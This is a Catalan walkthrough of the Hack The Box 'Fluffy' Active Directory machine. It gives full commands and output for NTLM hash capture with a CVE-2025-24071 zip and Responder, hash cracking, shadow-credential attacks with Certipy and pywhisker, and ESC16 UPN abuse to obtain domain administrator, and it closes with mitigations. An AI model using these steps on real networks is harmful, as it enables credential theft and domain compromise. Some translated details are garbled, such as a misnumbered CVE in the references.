Fluffy

Llança Fluffy i segueix-hi pas a pas a HTB!

Introducció

avatar Fluffy ofereix una introducció robusta als Serveis de Certificats d’Active Directory, un eina de proves rellevant anomenada Certipy, i l’abús habitual de ACL. Descobrim claus per a una vulnerabilitat no parchejada, permetent el moviment lateral amb privilegis d’ACL explotables. Després d’això comences a esplorar els Serveis de Certificats d’Active Directory, malconfiguracions i eines que ajuden a navegar la vulnerabilitat.

Fase de Recerca

hey, Tenim un conjunt d’credencials per començar - j.fleischman:J0elTHEM4n1990!, i sabem que això és un objectiu Windows.

$TARGET es despawna a 10.10.11.69 (genial). 20251215063941 20251215063941

Primer escanejem amb NMap per mapar $TARGET

nmap -Pn $TARGET -sV -oA recon/scan

20251215064620 20251215064620 Suspeguem immediatament que estem interactuant amb un Controlador de Domini fluffy.htb. Indicacions notables són els serveis Kerberos i LDAP que es presenten en aquest escaneig.

Afegim una entrada a /etc/hosts

10.10.11.69 fluffy.htb

Continuem amb un escaneig més detallat i podem revisar els ports oberts actuals.

nmap -Pn $TARGET -sV -sC -p- -oA recon/scan_sc

Tasques

  • Revisar ports oberts
  • Revisar escaneig detallat

Revisió de Ports Oberts

Primer, veiem que DNS està disponible, fem un dig i busquem qualsevol informació nova de reconeixement. Sense resultats

Com a següent pas, intentem una transferència de zona, però hem rebut Transfer Failed., així que el nostre $TARGET està configurat per restringir les transferències de zona DNS. Sense resultats

Due a l’port SMB obert, provem a provar el nostre nivell d’accés com a j.fleischman utilitzant smbmap.

smbmap -H $TARGET -u $USER -p $PASSWORD

20251215072144 20251215072144 Diversos carpetes a spider, però interessantment j.fleischman té permisos de lectura/escriptura a la carpeta IT. Probablement un trobada important, però continuem enumerant els ports oberts.

Realitzant una reconeixement LDAP amb les nostres credencials i windapsearch, podem recopilar informació extensa sobre el domini fluffy.htb. Intentem cercar usuaris.

windapsearch -d fluffy.htb -u 'j.fleischman' -p 'J0elTHEM4n1990!' -m users | grep sAMAccount | cut -d ':' -f 2 | tr -d ' 

20251217061034 20251217061034 Sembla que podem consultar qualsevol cosa mitjançant LDAP. Conosent el nostre nivell d’accés, sempre podrem referir-nos a aquesta eina quan tingui preguntes des d’ara en endavant.

Veig ports RPC disponibles, però la nostra cerca detallada acaba de finalitzar, així que revisem els resultats en aquesta secció.

cat recon/scan_sc.nmap 

20251217061411 20251217061411

Res particularment nou de la nostra darrera cerca. Ports oberts RPC que ajuden a funcionar el RPC, però nota que

  1. L’horloge Kerberos està +7H respecte al nostre temps actual, requerint que les nostres futures sol·licituds d’autenticació amb Kerberos estiguen alineades.
  2. El SMB està obert, ja que planejem explorar-ho a continuació.
  3. El WinRM (port 5985/tcp) està obert. Pots comprovar si tenim permís per utilitzar-ho.
  4. Hi ha infraestructura PKI en ús. Probablement Active Directory Certificate Services.

Comprovem el nostre accés mitjançant WinRM utilitzant netexec.

nxc winrm $TARGET -u $USER -p $PASSWORD 

20251215081817 20251215081817 No sembla estar disponible per a nosaltres en aquest moment.

Finalment, veiem el nostre accés contra els serveis RPC utilitzant rpcclient.

rpcclient -U '$USER%$PASSWORD' fluffy.htb  

20251215081217 20251215081217 Accés denegat. Tan senzill com això.

En avant, hem après que WINRM i RPC estan oberts, però no per al nostre usuari actual. Sembla que tenim accés complet als informacions de LDAP, i tenim algunes carpetes en SMB a explorar. Cal recordar-se d’alignar el nostre rellotge amb Kerberos per futures sol·licituds d’autenticació, i hi ha PKI involucrat.

Tasques

  • Revisar ports oberts
  • Revisar escaneig detallat
  • Explorar carpetes compartides
  • Recopilar informació de Bloodhound
  • Investigar PKI

Explora Carpetes Compartides

Com hem vist que teníem permisos de lectura/escriptura a \\$TARGET\IT, podem explorar-lo utilitzant el mòdul netexec spider_plus.

Troba tots els fitxers legibles en la compartició

nxc smb $TARGET -u $USER -p $PASSWORD -M spider_plus 

20251215085209 20251215085209 Revisant aquest fitxer, veiem algunes entrades curioses.

cat /root/.nxc/modules/nxc_spider_plus/10.10.11.69.json | jq 'with_entries(.value[] |= ( .key ))'

20251215085502 20251215085502

L’arxiu KeePass implica que existeix una base de dades KeePass alguna part en el departament IT. L’eina Everything (v1.4.1) també està compartida aquí.

En primer lloc, llegim Upgrade_notice.pdf ja que probablement contingui informació rellevant de parchant. El SYSVOL es pot iterar amb eines però no hi ha realment necessitat d’inspeccionar-lo manualment.

Connecta amb smbclient-ng.

smbclientng -u "$USER" -p "$PASSWORD" -H $TARGET 

20251215091359 20251215091359 Navegant a ./IT/, pillo Upgrade Notice.pdf.

Obre Upgrade Notice.pdf i, com era de suposar, veiem que és una notificació per parchantar sistemes per CVEs específics. Dues snippets específics als quals estic atraït són els CVE especificats, amb la seva gravetat, i el correu electrònic ubicat al final. 20251215092357 20251215092357 20251215092405 20251215092405 Probablement només un alias de correu o grup de distribució - però pot ser útil saber-ho.

No hi ha cap data real publicada dins la notificació, però pots veure l’hora d’últim accés 2025-05-17 des dels nostres resultats de nxc spider_plus. 20251215092830 20251215092830 Avaluant això contra la data de llançament (2025-05-24) de la màquina - això va una setmana abans. Hi ha possibilitat que aquests CVEs no hagin estat parchats. Pots explorar aquestes vies següents.

Tasques

  • Revisar ports oberts
  • Revisar escaneig detallat
  • Explorar carpetes compartides
  • Revisar CVEs del Notificació
  • Pillar informació LDAP
  • Investigar PKI

Revisió de CVEs del Comunicat

Tenim una llista ben organitzada del Departament d’Informàtica per a revisar.

  • CVE-2025-24996 Crític Les sol·licituds NTLM de Windows demanen un nom de fitxer o camí extern, que pot ser falsificat per un adversari.

  • CVE-2025-24071 Crític Les interaccions de recursos de xarxa del Explorador de Fitxers de Windows es filtrin les credencials NTLM.

  • CVE-2025-46785 Alt Atac DoS utilitzant l’aplicació Zoom Workplace via accés a la xarxa.

  • CVE-2025-29968 Alt Atac DoS per als Serveis de Certificats Actius Directory sobre accés a la xarxa.

  • CVE-2025-21193 Mitjà Vulnerabilitat de falsificació del Federació d’Active Directory.

  • CVE-2025-3445 Baix “Zip Slip” fitxer ZIP creat per crear / sobrescriure fitxers amb privilegis d’usuari/aplicació utilitzant la biblioteca archiver.

Investigació feta! Amb això, no estem buscant fer un DoS, així que trossim CVE-2025-46785 i CVE-2025-29968 de les nostres vectors potencials. Però aquest comunicat implica que tenen Serveis de Certificats Actius Directory dins la seva infraestructura - així que podem marcar-ho com a el seu PKI (bon per confirmar els detalls).

CVE-2025-24996 i CVE-2025-24071 serien camins d’exploració poderosos si puguem lograr l’interacció de l’usuari. Pots configurar-ho per a CVE-2025-24071.

CVE-2025-21193 i CVE-2025-3445 implica que es fan servir aquestes eines en l’entorn, però no hem vist encara la seva existència aparèixer.

Continuarem avançant i assumirem que encara no estan parchejats. Serveis de Certificats Actius Directory (ADCS) és informació útil ja que hi ha múltiples mal configuracions que podem avaluar.

Tasques

  • Revisar ports oberts
  • Realitzar un escaneig detallat
  • Explorar carpetes compartides
  • Revisar CVEs dels avisos
  • Configurar CVE-2025-24071
  • Recopilar informació de Bloodhound
  • Investigar AD CS

Configuració de CVE-2025-24071

Aquesta CVE va aparèixer en març de 2025, on un zip ben estructurat que contenia un fitxer .library-ms feria que l’Explorador de Windows iniciés una petició d’autenticació SMB. Pots dirigir aquesta petició d’autenticació SMB al teu $CAT_HOST i capturar-la amb eines com Responder, obtingut el NTLMv2 de l’usuari que interacciona, on podem esforçar-nos amb hashcat.

Després d’un petit cercador, podem optar per aquest PoC que podem git clone i crear el nostre exploit.zip ben estructurat.

python3 ./poc.py

20251217064236 20251217064236 Abans d’pujar la nostra càrrega útil, necessitem iniciar el nostre servidor SMB listener Responder.

Responder.py --interface tun0 -P

Assegura’t que el teu servidor SMB estigui ACTIU. 20251217064723 20251217064723

Tornem a smbclient-ng, deixem caure la nostra càrrega útil al recurs compartit escriuible IT.

smbclientng -u "$USER" -p "$PASSWORD" -H $TARGET
put exploit.zip

20251217064520 20251217064520 Ara que hem establert un vector que requereix interacció d’usuari - podem avançar amb la nostra següent tasca i esperem que la nostra càrrega útil ben estructurada sigui interacció.

Un moment després, sembla que el nostre fitxer exploit.zip va ser un èxit.

20251215205214 20251215205214

Envia la Net-NTLMv2 a hashcat per esforçar-se contra la llista de paraules rockyou.txt. 20251215205546 20251215205546

On ara tenim un conjunt de credencials per a p.agila:<REDACTED>.

En configurar-se per a CVE-2025-24071, hem rebut i esforçat amb èxit una resposta NTLMv2. Hem aconseguit un nou conjunt de credencials per l’usuari p.agila, així que reconstrueix contra el domini i veu què aquest compte pot proporcionar.

Tasques

  • Revisar ports oberts
  • Revisar escaneig detallat
  • Explorar carpetes compartides
  • Revisar CVEs del Notificació
  • Configurar CVE-2025-24071
  • Recollir informació de Bloodhound
  • Investigar AD CS
Durant la meva primera avaluació de Fluffy, vaig anar per un camí intentant Kerberoast, enumerant informació LDAP i atacs de relè d’AD CS. A vegades aquests bucles eterns passen.

Recopilar informació de Bloodhound

Podria haver estat útil fer-ho més avui, però recopilarem Bloodhound utilitzant RustHound-CE.

rusthound-ce -u $USER -p $PASSWORD -d fluffy.htb -z

20251217070344 20251217070344

Obre Bloodhound i ingesta la informació recopilada, aleshores podem revisar on estem i què podem fer.

Cerca P.AGILA@FLUFFY.HTB i nota el Control d’objectes sortint que té aquest compte d’usuari sobre el grup de comptes de servei. 20251217071111 20251217071111 GenericAll és potent, i amb ell podem afegir-nos a aquest grup. Però què ofereix aquest grup? Especialment en el grup de comptes de servei mostra un altre Control d’objectes sortint. 20251217071242 20251217071242

Per tant, tornant a la circumstància de que s’utilitza el Active Directory Certificate Services en aquest entorn, podem intentar establir un atac de Shadow Credential sobre aquests objectius escriur al seu msDS-KeyCredentialLink, instal·lar el nostre propi certificat a l’objecte i utilitzar aquest certificat per autenticar-se com a l’objecte.

A més, podem suposar que aquests comptes de servei estan ben nomsats, on podem probablement fer servir evil-winrm amb el compte winrm-svc. ca_svc és un poquit més especial perquè si es profunditza un poc en aquest compte…

20251217072118 20251217072118 Pots veure que és membre de Cert Publishers, el qual és membre del grup Denied RODC Password Replication Group, suggerint que aquest és un compte de valor elevat.

Primer, afegim a les nostres tasques l’aconseguiment de compromissió dels comptes ca_svc i winrm_svc.

Tasques

  • Revisar ports oberts
  • Revisar escaneig detallat
  • Explorar carpetes compartides
  • Revisar CVEs del Nota
  • Pillar informació LDAP
  • Investigar AD CS
  • Atac de credencials sombra winrm_svc i ca_svc

Investigar Active Directory Certificate Services

Abans de continuar amb la pròpia adquisició d’objectius addicionals, veurem què podem trobar a AD CS.

Utilitzarem Certipy per obtenir informació sobre AD CS

certipy find -enabled -u "$USER@fluffy.htb" -p "$PASSWORD"

20251217072812 20251217072812 Per defecte, Certipy desarà la sortida a pwd així que obre el fitxer .txt generat i busquem resultats interessants.

Encerts notables:

  • El nom de la CA és fluffy-DC01-CA 20251217072920 20251217072920
  • Unes pocs [ *] Remarks que detallen plantilles que es poden objectivar per altres vulnerabilitats, però res realment vulnerable.

Res trobat aquí, però podem passar a l’apropiació de comptes per winrm_svc i ca_svc i veure on podem anar des d’aquí.

Tasques

  • Revisar ports oberts
  • Revisar escaneig detallat
  • Explorar carpetes compartides
  • Revisar CVEs del Nota
  • Pillar informació LDAP
  • Investigar AD CS
  • Atac de credencials sombra winrm_svc i ca_svc

Bandera d’usuari

Des d’aquí, podem estar segurs de que hem trobat prou informació per trobar la bandera d’usuari, podem centrarnos primer en winrm_svc per poder accedir remotament a DC01.

Atacs amb Credencials Ombrejades

Primerament, winrm_svc.

Certipy fa que aquest procés sigui gairebé fàcil, però podem utilitzar altres eines com pywhisker i gettgtpkinit.py per aconseguir els mateixos resultats.

Abans d’escriure en aquests comptes de servei, necessitem afegir el nostre compte p.agila als “Comptes de Servei”. Pots fer servir bloodyAD per aquesta tasca, ja que tenim GenericAll sobre els objectes “Comptes de Servei”.

bloodyAD -u $USER -p $PASSWORD --dc-ip $TARGET add groupMember "Service Accounts" $USER

20251217073757 20251217073757

D’acord! Des d’aquí podem utilitzar el subcomandament shadow de Certipy per a prendre control dels comptes de servei, desant les credencials.

Estàs autenticant contra Kerberos aquí, i avui vaig descobrir una diferència horària de +7H. Si tens problemes amb certipy, sugereixo provar pywhisker i gettgtpkinit.py
faketime -f '+7H' $(alias certipy|cut -d '=' -f 2) shadow -u $USER -p $PASSWORD  -dc-ip $TARGET -account 'winrm_svc' auto
[*] Targeting user 'winrm_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '2c32b1889eb8427ab5e0a8e8e70f1aab'
[*] Adding Key Credential with device ID '2c32b1889eb8427ab5e0a8e8e70f1aab' to the Key Credentials for 'winrm_svc'
[*] Successfully added Key Credential with device ID 'ce14ad2d-fb9d-1e9b-9fdb-a3aac3abbebd' to the Key Credentials for 'winrm_svc'
[*] Authenticating as 'winrm_svc' with the certificate
[*] Using principal: winrm_svc@fluffy.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'winrm_svc.ccache'
[*] Trying to retrieve NT hash for 'winrm_svc'
[*] Restoring the old Key Credentials for 'winrm_svc'
[*] Successfully restored the old Key Credentials for 'winrm_svc'
[*] NT hash for 'winrm_svc': 33bd<REDACTED>5767

Amb això, podem agafar la bandera d’usuari. Utilitza evil-winrm per a connectar-te com a winrm_svc i trobar user.txt

evil-winrm -i DC01.fluffy.htb -u winrm_svc -H "33bd<REDACTED>5767"
*Evil-WinRM* PS C:\Users\winrm_svc\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\winrm_svc\Desktop> cat "C:/Users/winrm_svc/Desktop/user.txt"

6d937361

Genial! D'acord, fem el mateix amb **Shadow Credential** i assumim `ca_svc`. Pots enumerar més amb `winrm_svc`, però en aquesta guia continuarem amb **root.txt**.

Aquest cop podem utilitzar `pywhisker`, `gettgtpkinit.py` i `getnthash.py` per fer el mateix que `certipy shadow`

Utilitza `pywhisker` per afegir un certificat a l'atribut `msDS-KeyCredentialLink` de `ca_svc`
```bash
pywhisker -v -d "fluffy.htb" -u "$USER" -p "$PASSWORD" -t 'ca_svc' -a 'add'
<SNIP>
[+] S'ha desat el certificat PFX (#PKCS12) i la clau a la ruta: x2Smpjwy.pfx
[*] Cal utilitzar-lo amb contrasenya: TPstNbpHyOCuINW0lCi5
[*] Ara es pot obtenir un TGT amb https://github.com/dirkjanm/PKINITtools
[VERBOSE] Executa el següent comandament per obtenir un TGT
[VERBOSE] python3 PKINITtools/gettgtpkinit.py -cert-pfx x2Smpjwy.pfx -pfx-pass TPstNbpHyOCuINW0lCi5 fluffy.htb/ca_svc x2Smpjwy.ccache

Ara hem rebut un .ccache i un .pfx associats amb ca_svc. Afortunadament, pywhisker ens ha donat el següent comandament i arguments per obtenir el TGT de ca_svc.

Executa gettgtpkinit.py per recuperar el nostre TGT per a ca_svc.

python3 PKINITtools/gettgtpkinit.py -cert-pfx x2Smpjwy.pfx -pfx-pass TPstNbpHyOCuINW0lCi5 fluffy.htb/ca_svc x2Smpjwy.ccache
2025-12-17 15:24:19,459 minikerberos INFO     Carregant certificat i clau del fitxer
INFO:minikerberos:Carregant certificat i clau del fitxer
2025-12-17 15:24:19,478 minikerberos INFO     Requerint TGT
INFO:minikerberos:Requerint TGT
2025-12-17 15:24:19,601 minikerberos INFO     Clau d'encriptació AS-REP (potser en necessitaràs més endavant):
INFO:minikerberos:Clau d'encriptació AS-REP (potser en necessitaràs més endavant):
2025-12-17 15:24:19,601 minikerberos INFO     b105581a2153a3f93bf5376af652771f1ac9c0e29048777e0132badd1c35d61e
INFO:minikerberos:b105581a2153a3f93bf5376af652771f1ac9c0e29048777e0132badd1c35d61e
2025-12-17 15:24:19,606 minikerberos INFO     S'ha desat el TGT al fitxer
INFO:minikerberos:S'ha desat el TGT al fitxer

Tenim la nostra clau d’encriptació AS-REP, que ara podem utilitzar per desencriptar un TGT demanat per nosaltres amb PAC, obtingint l’hash NTLM de ca_svc.

Utilitzant getnthash.py per desencriptar-ho corresponentment.

getnthash.py -key "b105581a2153a3f93bf5376af652771f1ac9c0e29048777e0132badd1c35d61e"  "fluffy.htb/ca_svc"
[*] Utilitzant TGT de la memòria cau
[*] Requerint tiquet a si mateix amb PAC
Hash NT recuperat
ca0f<REDACTED>98c8

Finalment! Ara tenim el control de ca_svc. Certipy shadow és definitivament més fàcil, però és bon saber alternatius.

Ara que tenim un compte que fa part del grup Cert Publishers, podem investigar AD CS una altra vegada. Ara anem a passar a trobar la bandera root.

### Tasques
- [x] Revisar ports oberts
- [x] Revisar escaneig detallat
- [x] Explorar carpetes compartides
- [x] Revisar CVEs del Notificació
- [x] Pillar informació LDAP
- [x] Investigar AD CS
- [x] Atac d'credencials sombra `winrm_svc` i `ca_svc`
- [ ] Investigar AD CS via `ca_svc`
# Bandera de Raíz
Amb un compte privilegiat de **nivell 0** per als **Serveis de Certificats d'Active Directory** podem revisar-lo de nou en cerca de vulnerabilitats.
### Tasques
- [ ] Investiga el CS AD mitjançant `ca_svc`
## Investiga AD CS de nou
Amb el nostre nou nivell d'accés amb `ca_svc`, podem cercar vulnerabilitats en AD CS amb `certipy`.

```bash
certipy find -vulnerable -u ca_svc -hashes 'ca0f<REDACTED>98c8' -dc-ip $TARGET
[*] Buscant plantilles de certificat
[*] S'han trobat 33 plantilles de certificat
[*] Buscant autoritats de certificat
<SNIP>
[*] Guardant la sortida de text a '20251217083541_Certipy.txt'
[*] Escriur la sortida de text a '20251217083541_Certipy.txt'
[*] Guardant la sortida JSON a '20251217083541_Certipy.json'
[*] Escriur la sortida JSON a '20251217083541_Certipy.json'

Visualitzant els resultats.

20251217083922 20251217083922 Aquí veiem que fluffy-DC01-CA és vulnerable a ESC16 on la CA mateixa està configurada per desactivar l’inclusió de szOID_NTDS_CA_SERCUITY_EXT (OID 1.3.6.1.4.1.311.25.2)

Per tant, en resum, sempre i quan el paràmetre del registre del DC strongCertificateBindingEnforcement sigui menor a 2 (amb l’etiqueta ‘Full Enforcement’), llavors el Controlador de Domini es revertirà als mètodes d’assignació herètica mitjançant UserPrincipalName (UPN) i DNSname trobats en un certificat’s Subject Alternative Name (SAN).

Amb el control GenericWrite sobre el nostre compte Cert Publisher, podem escriure qualsevol UPN que vulguem a l’objecte de compte d’usuari, sol·licitar un certificat utilitzant qualsevol plantilla de client authentication disponible (hem vist plantilles de certificats més endavant en la nostra fase #Recon).

El resultat ens donarà un certificat per a qualsevol usuari que especifiquem en el nostre UPN falsificat, degut a l’assignació feble sense autenticar-se contra el SID del compte d’usuari / ordinador.

Espero que això proporcioni una breu explicació de la vulnerabilitat.

Quelques notes abans de continuar.

Després de sol·licitar el certificat amb l’UPN reescrit, necessitaràs tornar a qualsevol altre UPN - en cas contrari, el procés d’autenticació es farà contra el compte d’UPN falsificat en comptes del compte que intentem suplantar.

A més, no pot haver-hi UPNs duplicats. Sortint de manera fortuna, un UPN és regularment usuari@domini, però un UPN de usuari també resol el mateix que l’entrada d’UPN anterior, però no desencadena la regla ’no hi ha UPNs duplicats’. Per tant, si administrator@domini ja existeix (com és sovint el nostre objectiu), un UPN de administrator és vàlid utilitzar quan s’està reescrivint l’UPN d’un compte.

Ara, aconseguim root.

Tasques

  • Investiga el CS AD mitjançant ca_svc
  • Abusa l’ESC16

Abús de ESC16

Utilitzarem el nostre compte ca_svc per falsificar l’UPN d’administrator, i utilitzarem la eina certipy.

certipy account -u $USER -p $PASSWORD -dc-ip $TARGET -user ca_svc -upn 'administrator' update
[*] Actualitzant l'usuari 'ca_svc':
    userPrincipalName                   : administrator
[*] S'ha actualitzat correctament 'ca_svc'

Assegura’t que el fitxer .ccache de winrm_svc estigui configurat per a l’autenticació Kerberos.

export KRB5CCNAME=/workspace/ca_svc.ccache

Ara demana el certificat amb el nostre compte ‘administrator’ contra una plantilla d’usuari. Omiteix l’estensió de seguretat SID, així que el certificat sembrarà que és per al compte administrator.

faketime -f '+7h' /opt/tools/Certipy/venv/bin/certipy req -k -dc-ip $TARGET -target 'DC01.FLUFFY.HTB' -ca 'fluffy-DC01-CA' -template 'User'
[!] El servidor DC (-dc-host) no s'ha especificat i s'utilitza l'autenticació Kerberos. Això pot fallar.
[*] Solicitant certificat via RPC
[*] L'ID de la petició és 27
[*] S'ha sol·licitat correctament el certificat
[*] S'ha obtingut un certificat amb UPN 'administrator'
[*] El certificat no té objecte SID
[*] Intenta utilitzar -sid per establir l'objecte SID o consulta la wiki per més detalls.
[*] Desant el certificat i la clau privada a 'administrator.pfx'
El fitxer 'administrator.pfx' ja existeix. Vols sobrescriure'l? (y/n - dir n no guardarà amb un nom únic): y
[*] S'han escrit el certificat i la clau privada a 'administrator.pfx'

Revertint l’UPN del compte ca_svc de tornada.

certipy account -u $USER -p $PASSWORD -dc-ip $TARGET -user ca_svc -upn 'ca_svc' update 

Finalment, autentica com a administrator utilitzant el nostre nou certificat.

certipy auth -dc-ip $TARGET -pfx 'administrator.pfx' -username 'administrator' -domain 'fluffy.htb'
[*] Identitats del certificat:
[*]     SAN UPN: 'administrator'
[*] Utilitzant el principi: 'administrator@fluffy.htb'
[*] Intentant obtenir TGT...
[*] S'ha obtingut TGT
[*] Desant la memòria caché de credencials a 'administrator.ccache'
El fitxer 'administrator.ccache' ja existeix. Vols sobrescriure'l? (y/n - dir n no guardarà amb un nom únic): y
[*] S'ha escrit la memòria caché de credencials a 'administrator.ccache'
[*] Intentant recuperar el hash NT per a 'administrator'
[*] S'ha obtingut el hash per a 'administrator@fluffy.htb': aad3b435b51404eeaad3b435b51404ee:8da8<REDACTED>2a6e

Clau de domini. Intentem connectar-nos remotament com administrator:8da8<REDACTED>2a6e utilitzant el hash NT proporcionat.

evil-winrm -i DC01.fluffy.htb -u administrator -H "8da8<REDACTED>2a6e"
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd "C:/Users/Administrator/Desktop/"
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt

9ca0f881

Tasques

  • Investiga el CS AD mitjançant ca_svc
  • Abusa l’ESC16

Conclusió/Mitigacions

A més dels meus habituals investigacions fora de escena - aquesta màquina et dona una sensació d’Active Directory Certificate Services, Autoritats de Certificats i mal configuracions en aquest àrea. Definitivament un punt fortxet treballant a través d’aquesta activitat.

ESC16

  1. Reactiva l’extensió de seguretat SID a la CA, eliminant-la de DisableExtensionList. Asegúra’t que la CA està emetent l’extensió de seguretat SID. Si està desactivada manualment, elimina l’OID 1.3.6.1.4.1.311.25.2 de la clau del registre DisableExtensionList.

Via certutil.exe

certutil -setreg policy\DisableExtensionList -1.3.6.1.4.1.311.25.2
net stop certsvc
net start certsvc

Per verificar la seva eliminació de DisableExtensionList

certutil -getreg policy\DisableExtensionList
  1. Asegúra’t que la CA està parchejada (KB5014754 o posterior) perquè la CA pugui generar i incloure l’extensió de seguretat SID.
  2. Configura StrongCertificateBindingEnforcement al valor 2 en el Controlador de Domini per a ‘Mode d’Aplicació Completa’. Això requerirà l’estensió SID* per a la mapatge del certificat, que mitiga l’explotació de la manipulació UPN.
    * o URL SAN SID vàlida per a escenaris específics

CVE-2025-24071

  1. Asegúra’t de que Windows estigui parchejat amb KB5053596 o posterior, ja que Microsoft va parchegar aquesta vulnerabilitat en març de 2025. Aquest exploit permetia als adversaris escoltar intents d’autenticació SMB sense que l’usuari ho sapsi, però encara requeria interacció de l’usuari.

Contrasenyes febles

De nou, existeixen contrasenyes febles en aquest entorn. Fortifica i implica una política de contrasenyes on no es permetin contrasenyes d’llistes públiques.

Referències

InvestigacióDescripció
CVE-2025-24701CVE de Windows File Explorer onen autentica a través de fitxers .library-ms arxivats.
ESC16Vulnerabilitat d’AD CS - Extensió de seguretat desactivada a la CA (globalment)
Certified Pre-OwnedDocument blanc que detalla una exploració profunda de les configuracions d’AD CS
Terminologia d’AD CSGran recurs de certipy per entendre els fonaments d’AD CS
Eines UtilitzadesDescripció
CertipyPorta avançada per aquesta màquina. Potència per navegar en AD CS en enumeració i explotació.
NMapEina d’escaneig universal per a la reconstrucció inicial
smbmapEina fàcil d’utilitzar per a l’enumeració de SMB
windapsearchEina simple d’enumeració LDAP
NetExecEnumeració de recursos i compartiments del domini
smbclient-ngNavegació en compartiments SMB però més fàcil d’utilitzar
HashcatForça bruta de contrasenyes
BloodhoundEina per a gràfics d’Active Directory
Rusthound-ceRecopilador per Bloodhound
Evil-winrmEina de sessió remota quan està obert WinRM
BloodyADEina d’infrastructure de pujada de privilegis d’Active Directory
ResponderListener d’autenticació del servidor SMB falsificat